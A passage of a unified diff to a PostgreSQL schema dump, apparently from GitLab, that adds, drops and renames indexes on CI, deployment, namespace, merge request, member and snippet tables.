-CREATE INDEX index_award_emoji_on_user_id_and_name ON award_emoji USING btree (user_id, name);
-
CREATE UNIQUE INDEX index_aws_roles_on_role_external_id ON aws_roles USING btree (role_external_id);
CREATE UNIQUE INDEX index_aws_roles_on_user_id ON aws_roles USING btree (user_id);
@@ -21893,6 +23255,8 @@ CREATE INDEX index_badges_on_project_id ON badges USING btree (project_id);
CREATE INDEX index_batched_jobs_by_batched_migration_id_and_id ON batched_background_migration_jobs USING btree (batched_background_migration_id, id);
+CREATE INDEX index_batched_jobs_on_batched_migration_id_and_status ON batched_background_migration_jobs USING btree (batched_background_migration_id, status);
+
CREATE INDEX index_batched_migrations_on_job_table_and_column_name ON batched_background_migrations USING btree (job_class_name, table_name, column_name);
CREATE INDEX index_board_assignees_on_assignee_id ON board_assignees USING btree (assignee_id);
@@ -21935,6 +23299,12 @@ CREATE INDEX index_boards_epic_board_positions_on_epic_id ON boards_epic_board_p
CREATE INDEX index_boards_epic_board_positions_on_scoped_relative_position ON boards_epic_board_positions USING btree (epic_board_id, epic_id, relative_position);
+CREATE INDEX index_boards_epic_board_recent_visits_on_epic_board_id ON boards_epic_board_recent_visits USING btree (epic_board_id);
+
+CREATE INDEX index_boards_epic_board_recent_visits_on_group_id ON boards_epic_board_recent_visits USING btree (group_id);
+
+CREATE INDEX index_boards_epic_board_recent_visits_on_user_id ON boards_epic_board_recent_visits USING btree (user_id);
+
CREATE INDEX index_boards_epic_boards_on_group_id ON boards_epic_boards USING btree (group_id);
CREATE INDEX index_boards_epic_list_user_preferences_on_epic_list_id ON boards_epic_list_user_preferences USING btree (epic_list_id);
@@ -21973,6 +23343,8 @@ CREATE INDEX index_bulk_import_entities_on_parent_id ON bulk_import_entities USI
CREATE INDEX index_bulk_import_entities_on_project_id ON bulk_import_entities USING btree (project_id);
+CREATE INDEX index_bulk_import_export_uploads_on_export_id ON bulk_import_export_uploads USING btree (export_id);
+
CREATE INDEX index_bulk_import_failures_on_bulk_import_entity_id ON bulk_import_failures USING btree (bulk_import_entity_id);
CREATE INDEX index_bulk_import_failures_on_correlation_id_value ON bulk_import_failures USING btree (correlation_id_value);
@@ -22049,6 +23421,10 @@ CREATE INDEX index_ci_builds_on_user_id_and_created_at_and_type_eq_ci_build ON c
CREATE INDEX index_ci_builds_project_id_and_status_for_live_jobs_partial2 ON ci_builds USING btree (project_id, status) WHERE (((type)::text = 'Ci::Build'::text) AND ((status)::text = ANY (ARRAY[('running'::character varying)::text, ('pending'::character varying)::text, ('created'::character varying)::text])));
+CREATE INDEX index_ci_builds_runner_id_pending_covering ON ci_builds USING btree (runner_id, id) INCLUDE (project_id) WHERE (((status)::text = 'pending'::text) AND ((type)::text = 'Ci::Build'::text));
+
+CREATE INDEX index_ci_builds_runner_id_running ON ci_builds USING btree (runner_id) WHERE (((status)::text = 'running'::text) AND ((type)::text = 'Ci::Build'::text));
+
CREATE UNIQUE INDEX index_ci_builds_runner_session_on_build_id ON ci_builds_runner_session USING btree (build_id);
CREATE INDEX index_ci_daily_build_group_report_results_on_group_id ON ci_daily_build_group_report_results USING btree (group_id);
@@ -22079,12 +23455,26 @@ CREATE INDEX index_ci_job_artifacts_on_project_id ON ci_job_artifacts USING btre
CREATE INDEX index_ci_job_artifacts_on_project_id_for_security_reports ON ci_job_artifacts USING btree (project_id) WHERE (file_type = ANY (ARRAY[5, 6, 7, 8]));
+CREATE INDEX index_ci_job_token_project_scope_links_on_added_by_id ON ci_job_token_project_scope_links USING btree (added_by_id);
+
+CREATE INDEX index_ci_job_token_project_scope_links_on_target_project_id ON ci_job_token_project_scope_links USING btree (target_project_id);
+
CREATE INDEX index_ci_job_variables_on_job_id ON ci_job_variables USING btree (job_id);
CREATE UNIQUE INDEX index_ci_job_variables_on_key_and_job_id ON ci_job_variables USING btree (key, job_id);
+CREATE INDEX index_ci_minutes_additional_packs_on_namespace_id_purchase_xid ON ci_minutes_additional_packs USING btree (namespace_id, purchase_xid);
+
CREATE UNIQUE INDEX index_ci_namespace_monthly_usages_on_namespace_id_and_date ON ci_namespace_monthly_usages USING btree (namespace_id, date);
+CREATE UNIQUE INDEX index_ci_pending_builds_on_build_id ON ci_pending_builds USING btree (build_id);
+
+CREATE INDEX index_ci_pending_builds_on_project_id ON ci_pending_builds USING btree (project_id);
+
+CREATE INDEX index_ci_pipeline_artifacts_failed_verification ON ci_pipeline_artifacts USING btree (verification_retry_at NULLS FIRST) WHERE (verification_state = 3);
+
+CREATE INDEX index_ci_pipeline_artifacts_needs_verification ON ci_pipeline_artifacts USING btree (verification_state) WHERE ((verification_state = 0) OR (verification_state = 3));
+
CREATE INDEX index_ci_pipeline_artifacts_on_expire_at ON ci_pipeline_artifacts USING btree (expire_at);
CREATE INDEX index_ci_pipeline_artifacts_on_pipeline_id ON ci_pipeline_artifacts USING btree (pipeline_id);
@@ -22093,6 +23483,10 @@ CREATE UNIQUE INDEX index_ci_pipeline_artifacts_on_pipeline_id_and_file_type ON
CREATE INDEX index_ci_pipeline_artifacts_on_project_id ON ci_pipeline_artifacts USING btree (project_id);
+CREATE INDEX index_ci_pipeline_artifacts_pending_verification ON ci_pipeline_artifacts USING btree (verified_at NULLS FIRST) WHERE (verification_state = 0);
+
+CREATE INDEX index_ci_pipeline_artifacts_verification_state ON ci_pipeline_artifacts USING btree (verification_state);
+
CREATE INDEX index_ci_pipeline_chat_data_on_chat_name_id ON ci_pipeline_chat_data USING btree (chat_name_id);
CREATE UNIQUE INDEX index_ci_pipeline_chat_data_on_pipeline_id ON ci_pipeline_chat_data USING btree (pipeline_id);
@@ -22105,6 +23499,8 @@ CREATE INDEX index_ci_pipeline_schedules_on_next_run_at_and_active ON ci_pipelin
CREATE INDEX index_ci_pipeline_schedules_on_owner_id ON ci_pipeline_schedules USING btree (owner_id);
+CREATE INDEX index_ci_pipeline_schedules_on_owner_id_and_id_and_active ON ci_pipeline_schedules USING btree (owner_id, id) WHERE (active = true);
+
CREATE INDEX index_ci_pipeline_schedules_on_project_id ON ci_pipeline_schedules USING btree (project_id);
CREATE UNIQUE INDEX index_ci_pipeline_variables_on_pipeline_id_and_key ON ci_pipeline_variables USING btree (pipeline_id, key);
@@ -22149,6 +23545,8 @@ CREATE INDEX index_ci_pipelines_on_user_id_and_created_at_and_config_source ON c
CREATE INDEX index_ci_pipelines_on_user_id_and_created_at_and_source ON ci_pipelines USING btree (user_id, created_at, source);
+CREATE INDEX index_ci_pipelines_on_user_id_and_id_and_cancelable_status ON ci_pipelines USING btree (user_id, id) WHERE ((status)::text = ANY (ARRAY[('running'::character varying)::text, ('waiting_for_resource'::character varying)::text, ('preparing'::character varying)::text, ('pending'::character varying)::text, ('created'::character varying)::text, ('scheduled'::character varying)::text]));
+
CREATE UNIQUE INDEX index_ci_project_monthly_usages_on_project_id_and_date ON ci_project_monthly_usages USING btree (project_id, date);
CREATE UNIQUE INDEX index_ci_refs_on_project_id_and_ref_path ON ci_refs USING btree (project_id, ref_path);
@@ -22167,7 +23565,15 @@ CREATE INDEX index_ci_runner_projects_on_project_id ON ci_runner_projects USING
CREATE INDEX index_ci_runner_projects_on_runner_id ON ci_runner_projects USING btree (runner_id);
-CREATE INDEX index_ci_runners_on_contacted_at ON ci_runners USING btree (contacted_at);
+CREATE INDEX index_ci_runners_on_contacted_at_and_id_desc ON ci_runners USING btree (contacted_at, id DESC);
+
+CREATE INDEX index_ci_runners_on_contacted_at_desc_and_id_desc ON ci_runners USING btree (contacted_at DESC, id DESC);
+
+CREATE INDEX index_ci_runners_on_created_at_and_id_desc ON ci_runners USING btree (created_at, id DESC);
+
+CREATE INDEX index_ci_runners_on_created_at_desc_and_id_desc ON ci_runners USING btree (created_at DESC, id DESC);
+
+CREATE INDEX index_ci_runners_on_description_trigram ON ci_runners USING gin (description gin_trgm_ops);
CREATE INDEX index_ci_runners_on_locked ON ci_runners USING btree (locked);
@@ -22177,6 +23583,12 @@ CREATE INDEX index_ci_runners_on_token ON ci_runners USING btree (token);
CREATE INDEX index_ci_runners_on_token_encrypted ON ci_runners USING btree (token_encrypted);
+CREATE UNIQUE INDEX index_ci_running_builds_on_build_id ON ci_running_builds USING btree (build_id);
+
+CREATE INDEX index_ci_running_builds_on_project_id ON ci_running_builds USING btree (project_id);
+
+CREATE INDEX index_ci_running_builds_on_runner_id ON ci_running_builds USING btree (runner_id);
+
CREATE INDEX index_ci_sources_pipelines_on_pipeline_id ON ci_sources_pipelines USING btree (pipeline_id);
CREATE INDEX index_ci_sources_pipelines_on_project_id ON ci_sources_pipelines USING btree (project_id);
@@ -22193,6 +23605,8 @@ CREATE UNIQUE INDEX index_ci_sources_projects_on_source_project_id_and_pipeline_
CREATE INDEX index_ci_stages_on_pipeline_id ON ci_stages USING btree (pipeline_id);
+CREATE INDEX index_ci_stages_on_pipeline_id_and_id ON ci_stages USING btree (pipeline_id, id) WHERE (status = ANY (ARRAY[0, 1, 2, 8, 9, 10]));
+
CREATE UNIQUE INDEX index_ci_stages_on_pipeline_id_and_name ON ci_stages USING btree (pipeline_id, name);
CREATE INDEX index_ci_stages_on_pipeline_id_and_position ON ci_stages USING btree (pipeline_id, "position");
@@ -22215,11 +23629,15 @@ CREATE INDEX index_ci_triggers_on_owner_id ON ci_triggers USING btree (owner_id)
CREATE INDEX index_ci_triggers_on_project_id ON ci_triggers USING btree (project_id);
+CREATE INDEX index_ci_unit_test_failures_on_build_id ON ci_unit_test_failures USING btree (build_id);
+
+CREATE UNIQUE INDEX index_ci_unit_tests_on_project_id_and_key_hash ON ci_unit_tests USING btree (project_id, key_hash);
+
CREATE INDEX index_ci_variables_on_key ON ci_variables USING btree (key);
CREATE UNIQUE INDEX index_ci_variables_on_project_id_and_key_and_environment_scope ON ci_variables USING btree (project_id, key, environment_scope);
-CREATE INDEX index_cluster_agent_tokens_on_agent_id ON cluster_agent_tokens USING btree (agent_id);
+CREATE INDEX index_cluster_agent_tokens_on_agent_id_and_last_used_at ON cluster_agent_tokens USING btree (agent_id, last_used_at DESC NULLS LAST);
CREATE INDEX index_cluster_agent_tokens_on_created_by_user_id ON cluster_agent_tokens USING btree (created_by_user_id);
@@ -22323,12 +23741,16 @@ CREATE INDEX index_dast_profiles_on_dast_site_profile_id ON dast_profiles USING
CREATE UNIQUE INDEX index_dast_profiles_on_project_id_and_name ON dast_profiles USING btree (project_id, name);
+CREATE UNIQUE INDEX index_dast_profiles_pipelines_on_ci_pipeline_id ON dast_profiles_pipelines USING btree (ci_pipeline_id);
+
CREATE UNIQUE INDEX index_dast_scanner_profiles_on_project_id_and_name ON dast_scanner_profiles USING btree (project_id, name);
CREATE INDEX index_dast_site_profiles_on_dast_site_id ON dast_site_profiles USING btree (dast_site_id);
CREATE UNIQUE INDEX index_dast_site_profiles_on_project_id_and_name ON dast_site_profiles USING btree (project_id, name);
+CREATE UNIQUE INDEX index_dast_site_profiles_pipelines_on_ci_pipeline_id ON dast_site_profiles_pipelines USING btree (ci_pipeline_id);
+
CREATE INDEX index_dast_site_tokens_on_project_id ON dast_site_tokens USING btree (project_id);
CREATE INDEX index_dast_site_validations_on_dast_site_token_id ON dast_site_validations USING btree (dast_site_token_id);
@@ -22371,12 +23793,18 @@ CREATE INDEX index_deployments_on_environment_id_and_id ON deployments USING btr
CREATE INDEX index_deployments_on_environment_id_and_iid_and_project_id ON deployments USING btree (environment_id, iid, project_id);
+CREATE INDEX index_deployments_on_environment_id_status_and_finished_at ON deployments USING btree (environment_id, status, finished_at);
+
+CREATE INDEX index_deployments_on_environment_id_status_and_id ON deployments USING btree (environment_id, status, id);
+
CREATE INDEX index_deployments_on_environment_status_sha ON deployments USING btree (environment_id, status, sha);
CREATE INDEX index_deployments_on_id_and_status_and_created_at ON deployments USING btree (id, status, created_at);
CREATE INDEX index_deployments_on_id_where_cluster_id_present ON deployments USING btree (id) WHERE (cluster_id IS NOT NULL);
+CREATE INDEX index_deployments_on_project_and_environment_and_updated_at_id ON deployments USING btree (project_id, environment_id, updated_at, id);
+
CREATE INDEX index_deployments_on_project_and_finished ON deployments USING btree (project_id, finished_at) WHERE (status = 2);
CREATE INDEX index_deployments_on_project_id_and_id ON deployments USING btree (project_id, id DESC);
@@ -22433,6 +23861,8 @@ CREATE INDEX index_draft_notes_on_discussion_id ON draft_notes USING btree (disc
CREATE INDEX index_draft_notes_on_merge_request_id ON draft_notes USING btree (merge_request_id);
+CREATE UNIQUE INDEX index_elastic_index_settings_on_alias_name ON elastic_index_settings USING btree (alias_name);
+
CREATE INDEX index_elastic_reindexing_subtasks_on_elastic_reindexing_task_id ON elastic_reindexing_subtasks USING btree (elastic_reindexing_task_id);
CREATE UNIQUE INDEX index_elastic_reindexing_tasks_on_in_progress ON elastic_reindexing_tasks USING btree (in_progress) WHERE in_progress;
@@ -22455,12 +23885,16 @@ CREATE UNIQUE INDEX index_environments_on_project_id_and_name ON environments US
CREATE UNIQUE INDEX index_environments_on_project_id_and_slug ON environments USING btree (project_id, slug);
+CREATE INDEX index_environments_on_project_id_and_tier ON environments USING btree (project_id, tier) WHERE (tier IS NOT NULL);
+
CREATE INDEX index_environments_on_project_id_state_environment_type ON environments USING btree (project_id, state, environment_type);
CREATE INDEX index_environments_on_state_and_auto_stop_at ON environments USING btree (state, auto_stop_at) WHERE ((auto_stop_at IS NOT NULL) AND ((state)::text = 'available'::text));
CREATE UNIQUE INDEX index_epic_board_list_preferences_on_user_and_list ON boards_epic_list_user_preferences USING btree (user_id, epic_list_id);
+CREATE UNIQUE INDEX index_epic_board_recent_visits_on_user_group_and_board ON boards_epic_board_recent_visits USING btree (user_id, group_id, epic_board_id);
+
CREATE INDEX index_epic_issues_on_epic_id ON epic_issues USING btree (epic_id);
CREATE INDEX index_epic_issues_on_epic_id_and_issue_id ON epic_issues USING btree (epic_id, issue_id);
@@ -22485,8 +23919,6 @@ CREATE INDEX index_epics_on_due_date_sourcing_milestone_id ON epics USING btree
CREATE INDEX index_epics_on_end_date ON epics USING btree (end_date);
-CREATE INDEX index_epics_on_group_id ON epics USING btree (group_id);
-
CREATE UNIQUE INDEX index_epics_on_group_id_and_external_key ON epics USING btree (group_id, external_key) WHERE (external_key IS NOT NULL);
CREATE UNIQUE INDEX index_epics_on_group_id_and_iid ON epics USING btree (group_id, iid);
@@ -22531,7 +23963,7 @@ CREATE INDEX index_evidences_on_release_id ON evidences USING btree (release_id)
CREATE INDEX index_experiment_subjects_on_experiment_id ON experiment_subjects USING btree (experiment_id);
-CREATE INDEX index_experiment_subjects_on_group_id ON experiment_subjects USING btree (group_id);
+CREATE INDEX index_experiment_subjects_on_namespace_id ON experiment_subjects USING btree (namespace_id);
CREATE INDEX index_experiment_subjects_on_project_id ON experiment_subjects USING btree (project_id);
@@ -22729,6 +24161,10 @@ CREATE INDEX index_import_failures_on_project_id_not_null ON import_failures USI
CREATE INDEX index_imported_projects_on_import_type_creator_id_created_at ON projects USING btree (import_type, creator_id, created_at) WHERE (import_type IS NOT NULL);
+CREATE INDEX index_in_product_marketing_emails_on_user_id ON in_product_marketing_emails USING btree (user_id);
+
+CREATE UNIQUE INDEX index_in_product_marketing_emails_on_user_track_series ON in_product_marketing_emails USING btree (user_id, track, series);
+
CREATE INDEX index_inc_mgmnt_oncall_participants_on_oncall_user_id ON incident_management_oncall_participants USING btree (user_id);
CREATE UNIQUE INDEX index_inc_mgmnt_oncall_participants_on_user_id_and_rotation_id ON incident_management_oncall_participants USING btree (user_id, oncall_rotation_id);
@@ -22837,6 +24273,8 @@ CREATE INDEX index_jira_imports_on_user_id ON jira_imports USING btree (user_id)
CREATE INDEX index_jira_tracker_data_on_service_id ON jira_tracker_data USING btree (service_id);
+CREATE INDEX index_keys_on_expires_at_and_expiry_notification_undelivered ON keys USING btree (date(timezone('UTC'::text, expires_at)), expiry_notification_delivered_at) WHERE (expiry_notification_delivered_at IS NULL);
+
CREATE UNIQUE INDEX index_keys_on_fingerprint ON keys USING btree (fingerprint);
CREATE INDEX index_keys_on_fingerprint_sha256 ON keys USING btree (fingerprint_sha256);
@@ -22915,10 +24353,12 @@ CREATE INDEX index_members_on_requested_at ON members USING btree (requested_at)
CREATE INDEX index_members_on_source_id_and_source_type ON members USING btree (source_id, source_type);
-CREATE INDEX index_members_on_user_id ON members USING btree (user_id);
+CREATE INDEX index_members_on_user_id_and_access_level_requested_at_is_null ON members USING btree (user_id, access_level) WHERE (requested_at IS NULL);
CREATE INDEX index_members_on_user_id_created_at ON members USING btree (user_id, created_at) WHERE ((ldap = true) AND ((type)::text = 'GroupMember'::text) AND ((source_type)::text = 'Namespace'::text));
+CREATE INDEX index_members_on_user_id_source_id_source_type ON members USING btree (user_id, source_id, source_type);
+
CREATE INDEX index_merge_request_assignees_on_merge_request_id ON merge_request_assignees USING btree (merge_request_id);
CREATE UNIQUE INDEX index_merge_request_assignees_on_merge_request_id_and_user_id ON merge_request_assignees USING btree (merge_request_id, user_id);
@@ -22931,10 +24371,20 @@ CREATE UNIQUE INDEX index_merge_request_cleanup_schedules_on_merge_request_id ON
CREATE INDEX index_merge_request_context_commits_on_merge_request_id ON merge_request_context_commits USING btree (merge_request_id);
+CREATE UNIQUE INDEX index_merge_request_diff_commit_users_on_name_and_email ON merge_request_diff_commit_users USING btree (name, email);
+
CREATE INDEX index_merge_request_diff_commits_on_sha ON merge_request_diff_commits USING btree (sha);
+CREATE INDEX index_merge_request_diff_details_failed_verification ON merge_request_diff_details USING btree (verification_retry_at NULLS FIRST) WHERE (verification_state = 3);
+
+CREATE INDEX index_merge_request_diff_details_needs_verification ON merge_request_diff_details USING btree (verification_state) WHERE ((verification_state = 0) OR (verification_state = 3));
+
CREATE INDEX index_merge_request_diff_details_on_merge_request_diff_id ON merge_request_diff_details USING btree (merge_request_diff_id);
+CREATE INDEX index_merge_request_diff_details_on_verification_state ON merge_request_diff_details USING btree (verification_state);
+
+CREATE INDEX index_merge_request_diff_details_pending_verification ON merge_request_diff_details USING btree (verified_at NULLS FIRST) WHERE (verification_state = 0);
+
CREATE INDEX index_merge_request_diffs_by_id_partial ON merge_request_diffs USING btree (id) WHERE ((files_count > 0) AND ((NOT stored_externally) OR (stored_externally IS NULL)));
CREATE INDEX index_merge_request_diffs_on_external_diff_store ON merge_request_diffs USING btree (external_diff_store);
@@ -23003,6 +24453,8 @@ CREATE INDEX index_merge_requests_on_target_project_id_and_iid_and_state_id ON m
CREATE INDEX index_merge_requests_on_target_project_id_and_iid_jira_title ON merge_requests USING btree (target_project_id, iid) WHERE ((title)::text ~ '[A-Z][A-Z_0-9]+-\d+'::text);
+CREATE INDEX index_merge_requests_on_target_project_id_and_source_branch ON merge_requests USING btree (target_project_id, source_branch);
+
CREATE INDEX index_merge_requests_on_target_project_id_and_squash_commit_sha ON merge_requests USING btree (target_project_id, squash_commit_sha);
CREATE INDEX index_merge_requests_on_target_project_id_and_target_branch ON merge_requests USING btree (target_project_id, target_branch) WHERE ((state_id = 1) AND (merge_when_pipeline_succeeds = true));
@@ -23031,6 +24483,8 @@ CREATE INDEX index_metrics_dashboard_annotations_on_timespan_end ON metrics_dash
CREATE INDEX index_metrics_users_starred_dashboards_on_project_id ON metrics_users_starred_dashboards USING btree (project_id);
+CREATE INDEX index_migration_jobs_on_migration_id_and_finished_at ON batched_background_migration_jobs USING btree (batched_background_migration_id, finished_at);
+
CREATE INDEX index_milestone_releases_on_release_id ON milestone_releases USING btree (release_id);
CREATE INDEX index_milestones_on_description_trigram ON milestones USING gin (description gin_trgm_ops);
@@ -23045,7 +24499,7 @@ CREATE INDEX index_milestones_on_title ON milestones USING btree (title);
CREATE INDEX index_milestones_on_title_trigram ON milestones USING gin (title gin_trgm_ops);
-CREATE INDEX index_mirror_data_on_next_execution_and_retry_count ON project_mirror_data USING btree (next_execution_timestamp, retry_count);
+CREATE INDEX index_mirror_data_non_scheduled_or_started ON project_mirror_data USING btree (next_execution_timestamp, retry_count) WHERE ((status)::text <> ALL ('{scheduled,started}'::text[]));
CREATE UNIQUE INDEX index_mr_blocks_on_blocking_and_blocked_mr_ids ON merge_request_blocks USING btree (blocking_merge_request_id, blocked_merge_request_id);
@@ -23065,6 +24519,10 @@ CREATE UNIQUE INDEX index_namespace_root_storage_statistics_on_namespace_id ON n
CREATE UNIQUE INDEX index_namespace_statistics_on_namespace_id ON namespace_statistics USING btree (namespace_id);
+CREATE INDEX index_namespaces_id_parent_id_is_not_null ON namespaces USING btree (id) WHERE (parent_id IS NOT NULL);
+
+CREATE INDEX index_namespaces_id_parent_id_is_null ON namespaces USING btree (id) WHERE (parent_id IS NULL);
+
CREATE INDEX index_namespaces_on_created_at ON namespaces USING btree (created_at);
CREATE INDEX index_namespaces_on_custom_project_templates_group_id_and_type ON namespaces USING btree (custom_project_templates_group_id, type) WHERE (custom_project_templates_group_id IS NOT NULL);
@@ -23097,12 +24555,16 @@ CREATE UNIQUE INDEX index_namespaces_on_runners_token_encrypted ON namespaces US
CREATE INDEX index_namespaces_on_shared_and_extra_runners_minutes_limit ON namespaces USING btree (shared_runners_minutes_limit, extra_shared_runners_minutes_limit);
+CREATE INDEX index_namespaces_on_traversal_ids ON namespaces USING gin (traversal_ids);
+
CREATE INDEX index_namespaces_on_type_and_id_partial ON namespaces USING btree (type, id) WHERE (type IS NOT NULL);
CREATE INDEX index_non_requested_project_members_on_source_id_and_type ON members USING btree (source_id, source_type) WHERE ((requested_at IS NULL) AND ((type)::text = 'ProjectMember'::text));
CREATE UNIQUE INDEX index_note_diff_files_on_diff_note_id ON note_diff_files USING btree (diff_note_id);
+CREATE INDEX index_notes_for_cherry_picked_merge_requests ON notes USING btree (project_id, commit_id) WHERE ((noteable_type)::text = 'MergeRequest'::text);
+
CREATE INDEX index_notes_on_author_id_and_created_at_and_id ON notes USING btree (author_id, created_at, id);
CREATE INDEX index_notes_on_commit_id ON notes USING btree (commit_id);
@@ -23123,9 +24585,7 @@ CREATE INDEX index_notes_on_project_id_and_noteable_type ON notes USING btree (p
CREATE INDEX index_notes_on_review_id ON notes USING btree (review_id);
-CREATE INDEX index_notification_settings_on_source_id_and_source_type ON notification_settings USING btree (source_id, source_type);
-
-CREATE INDEX index_notification_settings_on_user_id ON notification_settings USING btree (user_id);
+CREATE INDEX index_notification_settings_on_source_and_level_and_user ON notification_settings USING btree (source_id, source_type, level, user_id);
CREATE UNIQUE INDEX index_notifications_on_user_id_and_source_id_and_source_type ON notification_settings USING btree (user_id, source_id, source_type);
@@ -23149,11 +24609,9 @@ CREATE INDEX index_oauth_openid_requests_on_access_grant_id ON oauth_openid_requ
CREATE UNIQUE INDEX index_on_deploy_keys_id_and_type_and_public ON keys USING btree (id, type) WHERE (public = true);
-CREATE INDEX index_on_id_partial_with_legacy_storage ON projects USING btree (id) WHERE ((storage_version < 2) OR (storage_version IS NULL));
-
CREATE INDEX index_on_identities_lower_extern_uid_and_provider ON identities USING btree (lower((extern_uid)::text), provider);
-CREATE UNIQUE INDEX index_on_instance_statistics_recorded_at_and_identifier ON analytics_instance_statistics_measurements USING btree (identifier, recorded_at);
+CREATE UNIQUE INDEX index_on_instance_statistics_recorded_at_and_identifier ON analytics_usage_trends_measurements USING btree (identifier, recorded_at);
CREATE INDEX index_on_label_links_all_columns ON label_links USING btree (target_id, label_id, target_type);
@@ -23165,15 +24623,17 @@ CREATE INDEX index_on_namespaces_lower_name ON namespaces USING btree (lower((na
CREATE INDEX index_on_namespaces_lower_path ON namespaces USING btree (lower((path)::text));
-CREATE INDEX index_on_projects_lower_path ON projects USING btree (lower((path)::text));
+CREATE INDEX index_on_oncall_schedule_escalation_rule ON incident_management_escalation_rules USING btree (oncall_schedule_id);
-CREATE INDEX index_on_routes_lower_path ON routes USING btree (lower((path)::text));
+CREATE INDEX index_on_pages_metadata_not_migrated ON project_pages_metadata USING btree (project_id) WHERE ((deployed = true) AND (pages_deployment_id IS NULL));
-CREATE UNIQUE INDEX index_on_segment_selections_group_id_segment_id ON analytics_devops_adoption_segment_selections USING btree (group_id, segment_id);
+CREATE UNIQUE INDEX index_on_policy_schedule_status_elapsed_time_escalation_rules ON incident_management_escalation_rules USING btree (policy_id, oncall_schedule_id, status, elapsed_time_seconds);
-CREATE UNIQUE INDEX index_on_segment_selections_project_id_segment_id ON analytics_devops_adoption_segment_selections USING btree (project_id, segment_id);
+CREATE UNIQUE INDEX index_on_project_id_escalation_policy_name_unique ON incident_management_escalation_policies USING btree (project_id, name);
-CREATE INDEX index_on_segment_selections_segment_id ON analytics_devops_adoption_segment_selections USING btree (segment_id);
+CREATE INDEX index_on_projects_lower_path ON projects USING btree (lower((path)::text));
+
+CREATE INDEX index_on_routes_lower_path ON routes USING btree (lower((path)::text));
CREATE INDEX index_on_snapshots_segment_id_end_time ON analytics_devops_adoption_snapshots USING btree (segment_id, end_time);
@@ -23251,8 +24711,12 @@ CREATE INDEX index_packages_dependency_links_on_dependency_id ON packages_depend
CREATE INDEX index_packages_events_on_package_id ON packages_events USING btree (package_id);
+CREATE INDEX index_packages_helm_file_metadata_on_channel ON packages_helm_file_metadata USING btree (channel);
+
CREATE INDEX index_packages_maven_metadata_on_package_id_and_path ON packages_maven_metadata USING btree (package_id, path);
+CREATE INDEX index_packages_maven_metadata_on_path ON packages_maven_metadata USING btree (path);
+
CREATE INDEX index_packages_nuget_dl_metadata_on_dependency_link_id ON packages_nuget_dependency_link_metadata USING btree (dependency_link_id);
CREATE UNIQUE INDEX index_packages_on_project_id_name_version_unique_when_generic ON packages_packages USING btree (project_id, name, version) WHERE (package_type = 7);
@@ -23291,6 +24755,8 @@ CREATE INDEX index_packages_tags_on_package_id_and_updated_at ON packages_tags U
CREATE INDEX index_pages_deployments_on_ci_build_id ON pages_deployments USING btree (ci_build_id);
+CREATE INDEX index_pages_deployments_on_file_store_and_id ON pages_deployments USING btree (file_store, id);
+
CREATE INDEX index_pages_deployments_on_project_id ON pages_deployments USING btree (project_id);
CREATE INDEX index_pages_domain_acme_orders_on_challenge_token ON pages_domain_acme_orders USING btree (challenge_token);
@@ -23579,6 +25045,8 @@ CREATE INDEX index_protected_environment_deploy_access_levels_on_group_id ON pro
CREATE INDEX index_protected_environment_deploy_access_levels_on_user_id ON protected_environment_deploy_access_levels USING btree (user_id);
+CREATE UNIQUE INDEX index_protected_environments_on_group_id_and_name ON protected_environments USING btree (group_id, name) WHERE (group_id IS NOT NULL);
+
CREATE INDEX index_protected_environments_on_project_id ON protected_environments USING btree (project_id);
CREATE UNIQUE INDEX index_protected_environments_on_project_id_and_name ON protected_environments USING btree (project_id, name);
@@ -23755,6 +25223,8 @@ CREATE INDEX index_service_desk_enabled_projects_on_id_creator_id_created_at ON
CREATE INDEX index_services_on_inherit_from_id ON services USING btree (inherit_from_id);
+CREATE INDEX index_services_on_project_and_type_where_inherit_null ON services USING btree (project_id, type) WHERE (inherit_from_id IS NULL);
+
CREATE UNIQUE INDEX index_services_on_project_id_and_type_unique ON services USING btree (project_id, type);
CREATE INDEX index_services_on_template ON services USING btree (template);
@@ -23771,6 +25241,8 @@ CREATE UNIQUE INDEX index_services_on_unique_group_id_and_type ON services USING
CREATE UNIQUE INDEX index_shards_on_name ON shards USING btree (name);
+CREATE UNIQUE INDEX index_site_profile_secret_variables_on_site_profile_id_and_key ON dast_site_profile_secret_variables USING btree (dast_site_profile_id, key);
+
CREATE INDEX index_slack_integrations_on_service_id ON slack_integrations USING btree (service_id);
CREATE UNIQUE INDEX index_slack_integrations_on_team_id_and_alias ON slack_integrations USING btree (team_id, alias);
@@ -23781,10 +25253,18 @@ CREATE INDEX index_smartcard_identities_on_user_id ON smartcard_identities USING
CREATE INDEX index_snippet_on_id_and_project_id ON snippets USING btree (id, project_id);
+CREATE INDEX index_snippet_repositories_failed_verification ON snippet_repositories USING btree (verification_retry_at NULLS FIRST) WHERE (verification_state = 3);
+
+CREATE INDEX index_snippet_repositories_needs_verification ON snippet_repositories USING btree (verification_state) WHERE ((verification_state = 0) OR (verification_state = 3));
+
CREATE UNIQUE INDEX index_snippet_repositories_on_disk_path ON snippet_repositories USING btree (disk_path);
CREATE INDEX index_snippet_repositories_on_shard_id ON snippet_repositories USING btree (shard_id);
+CREATE INDEX index_snippet_repositories_pending_verification ON snippet_repositories USING btree (verified_at NULLS FIRST) WHERE (verification_state = 0);
+
+CREATE INDEX index_snippet_repositories_verification_state ON snippet_repositories USING btree (verification_state);
+
CREATE INDEX index_snippet_repository_storage_moves_on_snippet_id ON snippet_repository_storage_moves USING btree (snippet_id);
CREATE UNIQUE INDEX index_snippet_user_mentions_on_note_id ON snippet_user_mentions USING btree (note_id) WHERE (note_id IS NOT NULL);
@@ -23821,7 +25301,13 @@ CREATE UNIQUE INDEX index_software_licenses_on_unique_name ON software_licenses
CREATE UNIQUE INDEX index_sop_configs_on_project_id ON security_orchestration_policy_configurations USING btree (project_id);
-CREATE UNIQUE INDEX index_sop_configs_on_security_policy_management_project_id ON security_orchestration_policy_configurations USING btree (security_policy_management_project_id);
+CREATE INDEX index_sop_configurations_project_id_policy_project_id ON security_orchestration_policy_configurations USING btree (security_policy_management_project_id, project_id);
+
+CREATE INDEX index_sop_schedules_on_sop_configuration_id ON security_orchestration_policy_rule_schedules USING btree (security_orchestration_policy_configuration_id);
+
+CREATE INDEX index_sop_schedules_on_user_id ON security_orchestration_policy_rule_schedules USING btree (user_id);
+
+CREATE INDEX index_spam_logs_on_user_id ON spam_logs USING btree (user_id);
CREATE INDEX index_sprints_iterations_cadence_id ON sprints USING btree (iterations_cadence_id);
@@ -23831,7 +25317,7 @@ CREATE INDEX index_sprints_on_due_date ON sprints USING btree (due_date);
CREATE INDEX index_sprints_on_group_id ON sprints USING btree (group_id);
